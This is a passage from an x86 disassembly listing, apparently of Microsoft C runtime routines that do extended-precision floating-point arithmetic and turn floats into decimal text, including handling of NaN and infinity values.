		mov	[ebp+var_5C], eax
		lea	eax, [ebx+8]
		mov	[ebp+var_60], eax


loc_41ACEE:				; CODE XREF: sub_41A833+4FEj
		mov	eax, [ebp+var_60]
		mov	ecx, [ebp+var_5C]
		movzx	ecx, word ptr [ecx]
		movzx	eax, word ptr [eax]
		and	[ebp+var_4C], 0
		imul	eax, ecx
		mov	ecx, [edi-4]
		lea	esi, [ecx+eax]
		cmp	esi, ecx
		jb	short loc_41AD0F
		cmp	esi, eax
		jnb	short loc_41AD16


loc_41AD0F:				; CODE XREF: sub_41A833+4D6j
		mov	[ebp+var_4C], 1


loc_41AD16:				; CODE XREF: sub_41A833+4DAj
		cmp	[ebp+var_4C], 0
		mov	[edi-4], esi
		jz	short loc_41AD22
		inc	word ptr [edi]


loc_41AD22:				; CODE XREF: sub_41A833+4EAj
		add	[ebp+var_5C], 2
		sub	[ebp+var_60], 2
		dec	[ebp+var_64]
		cmp	[ebp+var_64], 0
		jg	short loc_41ACEE


loc_41AD33:				; CODE XREF: sub_41A833+4ACj
		inc	edi
		inc	edi
		inc	[ebp+var_68]
		dec	[ebp+var_58]
		cmp	[ebp+var_58], 0
		jg	short loc_41ACD2
		add	edx, 0C002h
		test	dx, dx
		jle	short loc_41AD83


loc_41AD4C:				; CODE XREF: sub_41A833+549j
		mov	edi, [ebp+var_24]
		test	edi, edi
		js	short loc_41AD7E
		mov	esi, [ebp+var_28]
		mov	eax, [ebp+var_2C]
		shl	[ebp+var_2C], 1
		shr	eax, 1Fh
		mov	ecx, esi
		add	esi, esi
		or	esi, eax
		shr	ecx, 1Fh
		lea	eax, [edi+edi]
		or	eax, ecx
		add	edx, 0FFFFh
		mov	[ebp+var_28], esi
		mov	[ebp+var_24], eax
		test	dx, dx
		jg	short loc_41AD4C


loc_41AD7E:				; CODE XREF: sub_41A833+51Ej
		test	dx, dx
		jg	short loc_41ADD0


loc_41AD83:				; CODE XREF: sub_41A833+517j
		add	edx, 0FFFFh
		test	dx, dx
		jge	short loc_41ADD0
		mov	eax, edx
		neg	eax
		movzx	esi, ax
		add	edx, esi


loc_41AD97:				; CODE XREF: sub_41A833+591j
		test	byte ptr [ebp+var_2C], 1
		jz	short loc_41ADA0
		inc	[ebp+var_50]


loc_41ADA0:				; CODE XREF: sub_41A833+568j
		mov	eax, [ebp+var_24]
		mov	edi, [ebp+var_28]
		mov	ecx, [ebp+var_28]
		shr	[ebp+var_24], 1
		shl	eax, 1Fh
		shr	edi, 1
		or	edi, eax
		mov	eax, [ebp+var_2C]
		shl	ecx, 1Fh
		shr	eax, 1
		or	eax, ecx
		dec	esi
		mov	[ebp+var_28], edi
		mov	[ebp+var_2C], eax
		jnz	short loc_41AD97
		cmp	[ebp+var_50], esi
		jz	short loc_41ADD0
		or	word ptr [ebp+var_2C], 1


loc_41ADD0:				; CODE XREF: sub_41A833+54Ej
					; sub_41A833+559j ...
		mov	eax, 8000h
		mov	ecx, eax
		cmp	word ptr [ebp+var_2C], cx
		ja	short loc_41ADEE
		mov	ecx, [ebp+var_2C]
		and	ecx, 1FFFFh
		cmp	ecx, 18000h
		jnz	short loc_41AE22


loc_41ADEE:				; CODE XREF: sub_41A833+5A8j
		cmp	[ebp+var_2C+2],	0FFFFFFFFh
		jnz	short loc_41AE1F
		and	[ebp+var_2C+2],	0
		cmp	[ebp+var_28+2],	0FFFFFFFFh
		jnz	short loc_41AE1A
		and	[ebp+var_28+2],	0
		mov	ecx, 0FFFFh
		cmp	word ptr [ebp+var_24+2], cx
		jnz	short loc_41AE14
		mov	word ptr [ebp+var_24+2], ax
		inc	edx
		jmp	short loc_41AE22
; ---------------------------------------------------------------------------


loc_41AE14:				; CODE XREF: sub_41A833+5D8j
		inc	word ptr [ebp+var_24+2]
		jmp	short loc_41AE22
; ---------------------------------------------------------------------------


loc_41AE1A:				; CODE XREF: sub_41A833+5C9j
		inc	[ebp+var_28+2]
		jmp	short loc_41AE22
; ---------------------------------------------------------------------------


loc_41AE1F:				; CODE XREF: sub_41A833+5BFj
		inc	[ebp+var_2C+2]


loc_41AE22:				; CODE XREF: sub_41A833+5B9j
					; sub_41A833+5DFj ...
		mov	eax, 7FFFh
		cmp	dx, ax
		jb	short loc_41AE4F
		xor	eax, eax
		xor	ecx, ecx
		cmp	word ptr [ebp+var_70], ax
		mov	[ebp+var_38], eax
		setz	cl
		mov	[ebp+var_3C], eax
		dec	ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	[ebp-34h], ecx
		jmp	short loc_41AE8A
; ---------------------------------------------------------------------------


loc_41AE4F:				; CODE XREF: sub_41A833+5F7j
		mov	ax, word ptr [ebp+var_2C+2]
		or	edx, [ebp+var_70]
		mov	word ptr [ebp+var_3C], ax
		mov	eax, [ebp+var_28]
		mov	[ebp+var_3C+2],	eax
		mov	eax, [ebp+var_24]
		mov	[ebp+var_38+2],	eax
		mov	word ptr [ebp+var_32], dx
		jmp	short loc_41AE8A
; ---------------------------------------------------------------------------


loc_41AE6C:				; CODE XREF: sub_41A833+412j
					; sub_41A833+41Bj ...
		xor	eax, eax
		test	si, si
		setz	al
		and	[ebp+var_38], 0
		dec	eax
		and	eax, 80000000h
		add	eax, 7FFF8000h
		and	[ebp+var_3C], 0


loc_41AE87:				; CODE XREF: sub_41A833+441j
		mov	[ebp-34h], eax


loc_41AE8A:				; CODE XREF: sub_41A833+3B4j
					; sub_41A833+467j ...
		cmp	[ebp+var_54], 0
		jnz	loc_41ABD0


loc_41AE94:				; CODE XREF: sub_41A833+372j
					; sub_41A833+395j
		mov	eax, [ebp-34h]
		movzx	ecx, word ptr [ebp+var_3C]
		mov	esi, [ebp+var_3C+2]
		mov	edx, [ebp+var_38+2]
		shr	eax, 10h
		jmp	short loc_41AED5
; ---------------------------------------------------------------------------


loc_41AEA6:				; CODE XREF: sub_41A833+294j
		mov	[ebp+var_6C], 4
		jmp	short loc_41AECD
; ---------------------------------------------------------------------------


loc_41AEAF:				; CODE XREF: sub_41A833+354j
		xor	esi, esi
		mov	eax, 7FFFh
		mov	edx, 80000000h
		xor	ecx, ecx
		mov	[ebp+var_6C], 2
		jmp	short loc_41AED5
; ---------------------------------------------------------------------------


loc_41AEC6:				; CODE XREF: sub_41A833+35Fj
		mov	[ebp+var_6C], 1


loc_41AECD:				; CODE XREF: sub_41A833+2B6j
					; sub_41A833+67Aj
		xor	ecx, ecx
		xor	eax, eax
		xor	edx, edx
		xor	esi, esi


loc_41AED5:				; CODE XREF: sub_41A833+671j
					; sub_41A833+691j
		mov	edi, [ebp+var_78]
		or	eax, [ebp+var_74]
		mov	[edi], cx
		mov	[edi+0Ah], ax
		mov	eax, [ebp+var_6C]
		mov	[edi+2], esi
		mov	[edi+6], edx


loc_41AEEB:				; CODE XREF: sub_41A833+65j
		mov	ecx, [ebp+var_4]
		pop	edi
		pop	esi
		xor	ecx, ebp
		pop	ebx
		call	sub_40AC1C
		leave
		retn
sub_41A833	endp

; ---------------------------------------------------------------------------
		db 90h
off_41AEFB	dd offset loc_41A8CD	; DATA XREF: sub_41A833+93r
		dd offset loc_41A921	; jump table for switch	statement
		dd offset loc_41A977
		dd offset loc_41A9AA
		dd offset loc_41A9EF
		dd offset loc_41AA27
		dd offset loc_41AA3B
		dd offset loc_41AA96
		dd offset loc_41AA81
		dd offset loc_41AB00
		dd offset loc_41AAF5
		dd offset loc_41AAA4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41AF2B	proc near		; CODE XREF: sub_419BA4+41p

var_74		= dword	ptr -74h
var_70		= dword	ptr -70h
var_6C		= dword	ptr -6Ch
var_68		= dword	ptr -68h
var_64		= dword	ptr -64h
var_60		= dword	ptr -60h
var_5C		= dword	ptr -5Ch
var_58		= dword	ptr -58h
var_54		= dword	ptr -54h
var_50		= dword	ptr -50h
var_4C		= dword	ptr -4Ch
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_20		= dword	ptr -20h
var_1A		= dword	ptr -1Ah
var_16		= dword	ptr -16h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= byte ptr  8
arg_C		= dword	ptr  14h
arg_10		= byte ptr  18h
arg_14		= dword	ptr  1Ch

		mov	edi, edi
		push	ebp
		mov	ebp, esp
		sub	esp, 74h
		mov	eax, dword_42A034
		xor	eax, ebp
		mov	[ebp+var_4], eax
		push	ebx
		mov	ebx, [ebp+arg_14]
		push	esi
		push	edi
		lea	esi, [ebp+arg_0]
		lea	edi, [ebp+var_10]
		movsd
		movsd
		movsw
		mov	edx, [ebp+var_8]
		mov	ecx, edx
		mov	eax, 8000h
		and	ecx, eax
		and	edx, 7FFFh
		mov	[ebp+var_60], ebx
		mov	byte ptr [ebp+var_30], 0CCh
		mov	byte ptr [ebp+var_30+1], 0CCh
		mov	byte ptr [ebp+var_30+2], 0CCh
		mov	byte ptr [ebp+var_30+3], 0CCh
		mov	byte ptr [ebp+var_2C], 0CCh
		mov	byte ptr [ebp+var_2C+1], 0CCh
		mov	byte ptr [ebp+var_2C+2], 0CCh
		mov	byte ptr [ebp+var_2C+3], 0CCh
		mov	byte ptr [ebp+var_28], 0CCh
		mov	byte ptr [ebp+var_28+1], 0CCh
		mov	byte ptr [ebp+var_28+2], 0FBh
		mov	byte ptr [ebp+var_28+3], 3Fh
		mov	[ebp+var_74], 1
		mov	[ebp+var_70], ecx
		test	cx, cx
		jz	short loc_41AFA7
		mov	byte ptr [ebx+2], 2Dh
		jmp	short loc_41AFAB
; ---------------------------------------------------------------------------


loc_41AFA7:				; CODE XREF: sub_41AF2B+74j
		mov	byte ptr [ebx+2], 20h


loc_41AFAB:				; CODE XREF: sub_41AF2B+7Aj
		mov	esi, [ebp+var_C]
		mov	edi, [ebp+var_10]
		test	dx, dx
		jnz	short loc_41AFE5
		test	esi, esi
		jnz	short loc_41AFE5
		test	edi, edi
		jnz	short loc_41AFE5
		xor	edx, edx
		cmp	cx, ax
		setnz	al
		dec	al
		and	al, 0Dh
		add	al, 20h
		mov	[ebx], dx
		mov	[ebx+2], al
		mov	byte ptr [ebx+3], 1
		mov	byte ptr [ebx+4], 30h
		mov	[ebx+5], dl


loc_41AFDD:				; CODE XREF: sub_41AF2B+74Fj
					; sub_41AF2B+91Fj
		xor	eax, eax
		inc	eax
		jmp	loc_41B803
; ---------------------------------------------------------------------------


loc_41AFE5:				; CODE XREF: sub_41AF2B+89j
					; sub_41AF2B+8Dj ...
		mov	eax, 7FFFh
		cmp	dx, ax
		jnz	loc_41B092
		xor	eax, eax
		inc	eax
		mov	[ebx], ax
		mov	eax, 80000000h
		cmp	esi, eax
		jnz	short loc_41B006
		test	edi, edi
		jz	short loc_41B015


loc_41B006:				; CODE XREF: sub_41AF2B+D5j
		test	esi, 40000000h
		jnz	short loc_41B015
		push	offset a1Snan	; "1#SNAN"
		jmp	short loc_41B066
; ---------------------------------------------------------------------------


loc_41B015:				; CODE XREF: sub_41AF2B+D9j
					; sub_41AF2B+E1j
		test	cx, cx
		jz	short loc_41B02D
		cmp	esi, 0C0000000h
		jnz	short loc_41B02D
		test	edi, edi
		jnz	short loc_41B061
		push	offset a1Ind	; "1#IND"
		jmp	short loc_41B03A
; ---------------------------------------------------------------------------


loc_41B02D:				; CODE XREF: sub_41AF2B+EDj
					; sub_41AF2B+F5j
		cmp	esi, eax
		jnz	short loc_41B061
		test	edi, edi
		jnz	short loc_41B061
		push	offset a1Inf	; "1#INF"


loc_41B03A:				; CODE XREF: sub_41AF2B+100j
		lea	eax, [ebx+4]
		push	16h
		push	eax
		call	sub_40CD95
		add	esp, 0Ch
		xor	esi, esi
		test	eax, eax
		jz	short loc_41B05B
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40B12D
		add	esp, 14h


loc_41B05B:				; CODE XREF: sub_41AF2B+121j
		mov	byte ptr [ebx+3], 5
		jmp	short loc_41B08B
; ---------------------------------------------------------------------------


loc_41B061:				; CODE XREF: sub_41AF2B+F9j
					; sub_41AF2B+104j ...
		push	offset a1Qnan	; "1#QNAN"


loc_41B066:				; CODE XREF: sub_41AF2B+E8j
		lea	eax, [ebx+4]
		push	16h
		push	eax
		call	sub_40CD95
		add	esp, 0Ch
		xor	esi, esi
		test	eax, eax
		jz	short loc_41B087
		push	esi
		push	esi
		push	esi
		push	esi
		push	esi
		call	sub_40B12D
		add	esp, 14h


loc_41B087:				; CODE XREF: sub_41AF2B+14Dj
		mov	byte ptr [ebx+3], 6


loc_41B08B:				; CODE XREF: sub_41AF2B+134j
		xor	eax, eax
		jmp	loc_41B803
; ---------------------------------------------------------------------------


loc_41B092:				; CODE XREF: sub_41AF2B+C2j
		movzx	ecx, dx
		mov	ebx, ecx
		imul	ecx, 4D10h
		shr	ebx, 8
		mov	eax, esi
		shr	eax, 18h
		lea	eax, [ebx+eax*2]
		imul	eax, 4Dh
		lea	eax, [eax+ecx-134312F4h]
		sar	eax, 10h
		movzx	eax, ax
		xor	ecx, ecx
		movsx	ebx, ax
		mov	word ptr [ebp+var_20], cx
		mov	ecx, offset dword_42E060
		neg	ebx
		sub	ecx, 60h
		mov	[ebp+var_4C], eax
		mov	word ptr [ebp+var_16], dx
		mov	[ebp+var_1A], esi
		mov	[ebp+var_20+2],	edi
		mov	[ebp+var_64], ecx
		test	ebx, ebx
		jz	loc_41B37F
		jge	short loc_41B0F2
		mov	eax, offset dword_42E1C0
		neg	ebx
		sub	eax, 60h
		mov	[ebp+var_64], eax


loc_41B0F2:				; CODE XREF: sub_41AF2B+1B8j
		test	ebx, ebx
		jz	loc_41B37F


loc_41B0FA:				; CODE XREF: sub_41AF2B+44Ej
		add	[ebp+var_64], 54h
		mov	ecx, ebx
		and	ecx, 7
		sar	ebx, 3
		test	ecx, ecx
		jz	loc_41B375
		imul	ecx, 0Ch
		add	ecx, [ebp+var_64]
		mov	eax, ecx
		mov	[ebp+var_44], ecx
		mov	ecx, 8000h
		cmp	[eax], cx
		jb	short loc_41B134
		mov	esi, eax
		lea	edi, [ebp+var_3C]
		movsd
		movsd
		lea	eax, [ebp+var_3C]
		movsd
		dec	[ebp+var_3C+2]
		mov	[ebp+var_44], eax


loc_41B134:				; CODE XREF: sub_41AF2B+1F6j
		movzx	edx, word ptr [eax+0Ah]
		xor	ecx, ecx
		mov	[ebp+var_54], ecx
		mov	[ebp+var_10], ecx
		mov	[ebp+var_C], ecx
		mov	[ebp+var_8], ecx
		mov	ecx, [ebp+var_16]
		mov	esi, edx
		xor	esi, ecx
		and	esi, 8000h
		mov	[ebp+var_48], esi
		mov	esi, 7FFFh
		and	ecx, esi
		and	edx, esi
		lea	esi, [edx+ecx]
		movzx	edi, si
		mov	esi, 7FFFh
		cmp	cx, si
		jnb	loc_41B41F
		cmp	dx, si
		jnb	loc_41B41F
		mov	esi, 0BFFDh
		cmp	di, si
		ja	loc_41B41F
		mov	esi, 3FBFh
		cmp	di, si
		ja	short loc_41B1A4
		xor	esi, esi


loc_41B196:				; CODE XREF: sub_41AF2B+2B5j
		mov	[ebp+var_1A+2],	esi


loc_41B199:				; CODE XREF: sub_41AF2B+50Dj
		mov	[ebp-1Ch], esi
		mov	[ebp+var_20], esi
		jmp	loc_41B377
; ---------------------------------------------------------------------------


loc_41B1A4:				; CODE XREF: sub_41AF2B+267j
		xor	esi, esi
		cmp	cx, si
		jnz	short loc_41B1CA
		inc	edi
		test	[ebp+var_1A+2],	7FFFFFFFh
		jnz	short loc_41B1CA
		cmp	[ebp-1Ch], esi
		jnz	short loc_41B1CA
		cmp	[ebp+var_20], esi
		jnz	short loc_41B1CA
		xor	eax, eax
		mov	word ptr [ebp+var_16], ax
		jmp	loc_41B377
; ---------------------------------------------------------------------------


loc_41B1CA:				; CODE XREF: sub_41AF2B+27Ej
					; sub_41AF2B+288j ...
		cmp	dx, si
		jnz	short loc_41B1E2
		inc	edi
		test	dword ptr [eax+8], 7FFFFFFFh
		jnz	short loc_41B1E2
		cmp	[eax+4], esi
		jnz	short loc_41B1E2
		cmp	[eax], esi
		jz	short loc_41B196


loc_41B1E2:				; CODE XREF: sub_41AF2B+2A2j
					; sub_41AF2B+2ACj ...
		and	[ebp+var_58], esi
		lea	esi, [ebp+var_C]
		mov	[ebp+var_40], 5


loc_41B1EF:				; CODE XREF: sub_41AF2B+334j
		mov	ecx, [ebp+var_58]
		mov	edx, [ebp+var_40]
		add	ecx, ecx
		mov	[ebp+var_50], edx
		test	edx, edx
		jle	short loc_41B253
		lea	ecx, [ebp+ecx+var_20]
		add	eax, 8
		mov	[ebp+var_6C], ecx
		mov	[ebp+var_68], eax


loc_41B20B:				; CODE XREF: sub_41AF2B+323j
		mov	eax, [ebp+var_6C]
		movzx	ecx, word ptr [eax]
		mov	eax, [ebp+var_68]
		movzx	eax, word ptr [eax]
		mov	edx, [esi-4]
		imul	ecx, eax
		and	[ebp+var_5C], 0
		lea	eax, [edx+ecx]
		cmp	eax, edx
		jb	short loc_41B22C
		cmp	eax, ecx
		jnb	short loc_41B233


loc_41B22C:				; CODE XREF: sub_41AF2B+2FBj
		mov	[ebp+var_5C], 1


loc_41B233:				; CODE XREF: sub_41AF2B+2FFj
		cmp	[ebp+var_5C], 0
		mov	[esi-4], eax
		jz	short loc_41B23F
		inc	word ptr [esi]


loc_41B23F:				; CODE XREF: sub_41AF2B+30Fj
		add	[ebp+var_6C], 2
		sub	[ebp+var_68], 2
		dec	[ebp+var_50]
		cmp	[ebp+var_50], 0
		jg	short loc_41B20B
		mov	eax, [ebp+var_44]


loc_41B253:				; CODE XREF: sub_41AF2B+2D1j
		inc	esi
		inc	esi
		inc	[ebp+var_58]
		dec	[ebp+var_40]
		cmp	[ebp+var_40], 0
		jg	short loc_41B1EF
		add	edi, 0C002h
		test	di, di
		jle	short loc_41B2A7


loc_41B26C:				; CODE XREF: sub_41AF2B+375j
		test	[ebp+var_8], 80000000h
		jnz	short loc_41B2A2
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		shl	[ebp+var_10], 1
		mov	edx, eax
		add	eax, eax
		shr	ecx, 1Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		mov	eax, [ebp+var_8]
		shr	edx, 1Fh
		add	eax, eax
		or	eax, edx
		add	edi, 0FFFFh
		mov	[ebp+var_8], eax
		test	di, di
		jg	short loc_41B26C


loc_41B2A2:				; CODE XREF: sub_41AF2B+348j
		test	di, di
		jg	short loc_41B2F4


loc_41B2A7:				; CODE XREF: sub_41AF2B+33Fj
		add	edi, 0FFFFh
		test	di, di
		jge	short loc_41B2F4
		mov	eax, edi
		neg	eax
		movzx	eax, ax
		add	edi, eax


loc_41B2BB:				; CODE XREF: sub_41AF2B+3BDj
		test	byte ptr [ebp+var_10], 1
		jz	short loc_41B2C4
		inc	[ebp+var_54]


loc_41B2C4:				; CODE XREF: sub_41AF2B+394j
		mov	ecx, [ebp+var_8]
		mov	esi, [ebp+var_C]
		mov	edx, [ebp+var_C]
		shr	[ebp+var_8], 1
		shl	ecx, 1Fh
		shr	esi, 1
		or	esi, ecx
		mov	ecx, [ebp+var_10]
		shl	edx, 1Fh
		shr	ecx, 1
		or	ecx, edx
		dec	eax
		mov	[ebp+var_C], esi
		mov	[ebp+var_10], ecx
		jnz	short loc_41B2BB
		cmp	[ebp+var_54], eax
		jz	short loc_41B2F4
		or	word ptr [ebp+var_10], 1


loc_41B2F4:				; CODE XREF: sub_41AF2B+37Aj
					; sub_41AF2B+385j ...
		mov	eax, 8000h
		mov	ecx, eax
		cmp	word ptr [ebp+var_10], cx
		ja	short loc_41B312
		mov	ecx, [ebp+var_10]
		and	ecx, 1FFFFh
		cmp	ecx, 18000h
		jnz	short loc_41B346


loc_41B312:				; CODE XREF: sub_41AF2B+3D4j
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_41B343
		and	[ebp+var_10+2],	0
		cmp	[ebp+var_C+2], 0FFFFFFFFh
		jnz	short loc_41B33E
		and	[ebp+var_C+2], 0
		mov	ecx, 0FFFFh
		cmp	word ptr [ebp+var_8+2],	cx
		jnz	short loc_41B338
		mov	word ptr [ebp+var_8+2],	ax
		inc	edi
		jmp	short loc_41B346
; ---------------------------------------------------------------------------


loc_41B338:				; CODE XREF: sub_41AF2B+404j
		inc	word ptr [ebp+var_8+2]
		jmp	short loc_41B346
; ---------------------------------------------------------------------------


loc_41B33E:				; CODE XREF: sub_41AF2B+3F5j
		inc	[ebp+var_C+2]
		jmp	short loc_41B346
; ---------------------------------------------------------------------------


loc_41B343:				; CODE XREF: sub_41AF2B+3EBj
		inc	[ebp+var_10+2]


loc_41B346:				; CODE XREF: sub_41AF2B+3E5j
					; sub_41AF2B+40Bj ...
		mov	eax, 7FFFh
		cmp	di, ax
		jb	loc_41B3FF
		xor	eax, eax
		xor	ecx, ecx
		cmp	word ptr [ebp+var_48], ax
		mov	[ebp-1Ch], eax
		setz	cl
		mov	[ebp+var_20], eax
		dec	ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	[ebp+var_1A+2],	ecx


loc_41B375:				; CODE XREF: sub_41AF2B+1DDj
					; sub_41AF2B+4EFj
		xor	esi, esi


loc_41B377:				; CODE XREF: sub_41AF2B+274j
					; sub_41AF2B+29Aj
		cmp	ebx, esi
		jnz	loc_41B0FA


loc_41B37F:				; CODE XREF: sub_41AF2B+1B2j
					; sub_41AF2B+1C9j
		mov	ecx, [ebp+var_1A+2]
		shr	ecx, 10h
		mov	edx, 3FFFh
		mov	eax, 7FFFh
		cmp	cx, dx
		jb	loc_41B63B
		inc	[ebp+var_4C]
		xor	edx, edx
		mov	[ebp+var_50], edx
		mov	[ebp+var_10], edx
		mov	[ebp+var_C], edx
		mov	[ebp+var_8], edx
		mov	edx, [ebp+var_28+2]
		movzx	ecx, cx
		mov	ebx, edx
		xor	ebx, ecx
		and	ecx, eax
		and	edx, eax
		and	ebx, 8000h
		mov	edi, eax
		lea	esi, [edx+ecx]
		mov	[ebp+var_5C], ebx
		movzx	esi, si
		cmp	cx, di
		jnb	loc_41B61D
		cmp	dx, ax
		jnb	loc_41B61D
		mov	eax, 0BFFDh
		cmp	si, ax
		ja	loc_41B61D
		mov	eax, 3FBFh
		cmp	si, ax
		ja	short loc_41B43D
		xor	eax, eax


loc_41B3F4:				; CODE XREF: sub_41AF2B+54Dj
		mov	[ebp-1Ch], eax
		mov	[ebp+var_20], eax
		jmp	loc_41B638
; ---------------------------------------------------------------------------


loc_41B3FF:				; CODE XREF: sub_41AF2B+423j
		mov	ax, word ptr [ebp+var_10+2]
		or	edi, [ebp+var_48]
		mov	word ptr [ebp+var_20], ax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20+2],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1A], eax
		mov	word ptr [ebp+var_16], di
		jmp	loc_41B375
; ---------------------------------------------------------------------------


loc_41B41F:				; CODE XREF: sub_41AF2B+242j
					; sub_41AF2B+24Bj ...
		xor	eax, eax
		xor	esi, esi
		cmp	word ptr [ebp+var_48], si
		setz	al
		dec	eax
		and	eax, 80000000h
		add	eax, 7FFF8000h
		mov	[ebp+var_1A+2],	eax
		jmp	loc_41B199
; ---------------------------------------------------------------------------


loc_41B43D:				; CODE XREF: sub_41AF2B+4C5j
		xor	eax, eax
		cmp	cx, ax
		jnz	short loc_41B461
		inc	esi
		test	[ebp+var_1A+2],	7FFFFFFFh
		jnz	short loc_41B461
		cmp	[ebp-1Ch], eax
		jnz	short loc_41B461
		cmp	[ebp+var_20], eax
		jnz	short loc_41B461
		mov	word ptr [ebp+var_16], ax
		jmp	loc_41B63B
; ---------------------------------------------------------------------------


loc_41B461:				; CODE XREF: sub_41AF2B+517j
					; sub_41AF2B+521j ...
		cmp	dx, ax
		jnz	short loc_41B47E
		inc	esi
		test	[ebp+var_28], 7FFFFFFFh
		jnz	short loc_41B47E
		cmp	[ebp+var_2C], eax
		jnz	short loc_41B47E
		cmp	[ebp+var_30], eax
		jz	loc_41B3F4


loc_41B47E:				; CODE XREF: sub_41AF2B+539j
					; sub_41AF2B+543j ...
		mov	[ebp+var_58], eax
		lea	edi, [ebp+var_C]
		mov	[ebp+var_40], 5


loc_41B48B:				; CODE XREF: sub_41AF2B+5C5j
		mov	eax, [ebp+var_58]
		mov	ecx, [ebp+var_40]
		add	eax, eax
		mov	[ebp+var_54], ecx
		test	ecx, ecx
		jle	short loc_41B4E4
		lea	ecx, [ebp+var_28]
		mov	[ebp+var_48], ecx
		lea	eax, [ebp+eax+var_20]


loc_41B4A4:				; CODE XREF: sub_41AF2B+5B7j
		mov	ecx, [ebp+var_48]
		movzx	edx, word ptr [eax]
		movzx	ecx, word ptr [ecx]
		and	[ebp+var_44], 0
		imul	ecx, edx
		mov	edx, [edi-4]
		lea	ebx, [edx+ecx]
		cmp	ebx, edx
		jb	short loc_41B4C2
		cmp	ebx, ecx
		jnb	short loc_41B4C9


loc_41B4C2:				; CODE XREF: sub_41AF2B+591j
		mov	[ebp+var_44], 1


loc_41B4C9:				; CODE XREF: sub_41AF2B+595j
		cmp	[ebp+var_44], 0
		mov	[edi-4], ebx
		jz	short loc_41B4D5
		inc	word ptr [edi]


loc_41B4D5:				; CODE XREF: sub_41AF2B+5A5j
		sub	[ebp+var_48], 2
		inc	eax
		inc	eax
		dec	[ebp+var_54]
		cmp	[ebp+var_54], 0
		jg	short loc_41B4A4


loc_41B4E4:				; CODE XREF: sub_41AF2B+56Dj
		inc	edi
		inc	edi
		inc	[ebp+var_58]
		dec	[ebp+var_40]
		cmp	[ebp+var_40], 0
		jg	short loc_41B48B
		add	esi, 0C002h
		test	si, si
		jle	short loc_41B534


loc_41B4FD:				; CODE XREF: sub_41AF2B+602j
		mov	edi, [ebp+var_8]
		test	edi, edi
		js	short loc_41B52F
		mov	eax, [ebp+var_C]
		mov	ecx, [ebp+var_10]
		shl	[ebp+var_10], 1
		mov	edx, eax
		add	eax, eax
		shr	ecx, 1Fh
		or	eax, ecx
		mov	[ebp+var_C], eax
		shr	edx, 1Fh
		lea	eax, [edi+edi]
		or	eax, edx
		add	esi, 0FFFFh
		mov	[ebp+var_8], eax
		test	si, si
		jg	short loc_41B4FD


loc_41B52F:				; CODE XREF: sub_41AF2B+5D7j
		test	si, si
		jg	short loc_41B581


loc_41B534:				; CODE XREF: sub_41AF2B+5D0j
		add	esi, 0FFFFh
		test	si, si
		jge	short loc_41B581
		mov	eax, esi
		neg	eax
		movzx	eax, ax
		add	esi, eax


loc_41B548:				; CODE XREF: sub_41AF2B+64Aj
		test	byte ptr [ebp+var_10], 1
		jz	short loc_41B551
		inc	[ebp+var_50]


loc_41B551:				; CODE XREF: sub_41AF2B+621j
		mov	ecx, [ebp+var_8]
		mov	edi, [ebp+var_C]
		mov	edx, [ebp+var_C]
		shr	[ebp+var_8], 1
		shl	ecx, 1Fh
		shr	edi, 1
		or	edi, ecx
		mov	ecx, [ebp+var_10]
		shl	edx, 1Fh
		shr	ecx, 1
		or	ecx, edx
		dec	eax
		mov	[ebp+var_C], edi
		mov	[ebp+var_10], ecx
		jnz	short loc_41B548
		cmp	[ebp+var_50], eax
		jz	short loc_41B581
		or	word ptr [ebp+var_10], 1


loc_41B581:				; CODE XREF: sub_41AF2B+607j
					; sub_41AF2B+612j ...
		mov	eax, 8000h
		mov	ecx, eax
		cmp	word ptr [ebp+var_10], cx
		ja	short loc_41B59F
		mov	ecx, [ebp+var_10]
		and	ecx, 1FFFFh
		cmp	ecx, 18000h
		jnz	short loc_41B5D3


loc_41B59F:				; CODE XREF: sub_41AF2B+661j
		cmp	[ebp+var_10+2],	0FFFFFFFFh
		jnz	short loc_41B5D0
		and	[ebp+var_10+2],	0
		cmp	[ebp+var_C+2], 0FFFFFFFFh
		jnz	short loc_41B5CB
		and	[ebp+var_C+2], 0
		mov	ecx, 0FFFFh
		cmp	word ptr [ebp+var_8+2],	cx
		jnz	short loc_41B5C5
		mov	word ptr [ebp+var_8+2],	ax
		inc	esi
		jmp	short loc_41B5D3
; ---------------------------------------------------------------------------


loc_41B5C5:				; CODE XREF: sub_41AF2B+691j
		inc	word ptr [ebp+var_8+2]
		jmp	short loc_41B5D3
; ---------------------------------------------------------------------------


loc_41B5CB:				; CODE XREF: sub_41AF2B+682j
		inc	[ebp+var_C+2]
		jmp	short loc_41B5D3
; ---------------------------------------------------------------------------


loc_41B5D0:				; CODE XREF: sub_41AF2B+678j
		inc	[ebp+var_10+2]


loc_41B5D3:				; CODE XREF: sub_41AF2B+672j
					; sub_41AF2B+698j ...
		mov	eax, 7FFFh
		cmp	si, ax
		jb	short loc_41B600
		xor	eax, eax
		xor	ecx, ecx
		cmp	word ptr [ebp+var_5C], ax
		mov	[ebp-1Ch], eax
		setz	cl
		mov	[ebp+var_20], eax
		dec	ecx
		and	ecx, 80000000h
		add	ecx, 7FFF8000h
		mov	[ebp+var_1A+2],	ecx
		jmp	short loc_41B63B
; ---------------------------------------------------------------------------


loc_41B600:				; CODE XREF: sub_41AF2B+6B0j
		mov	ax, word ptr [ebp+var_10+2]
		or	esi, [ebp+var_5C]
		mov	word ptr [ebp+var_20], ax
		mov	eax, [ebp+var_C]
		mov	[ebp+var_20+2],	eax
		mov	eax, [ebp+var_8]
		mov	[ebp+var_1A], eax
		mov	word ptr [ebp+var_16], si
		jmp	short loc_41B63B
; ---------------------------------------------------------------------------


loc_41B61D:				; CODE XREF: sub_41AF2B+4A0j
					; sub_41AF2B+4A9j ...
		xor	eax, eax
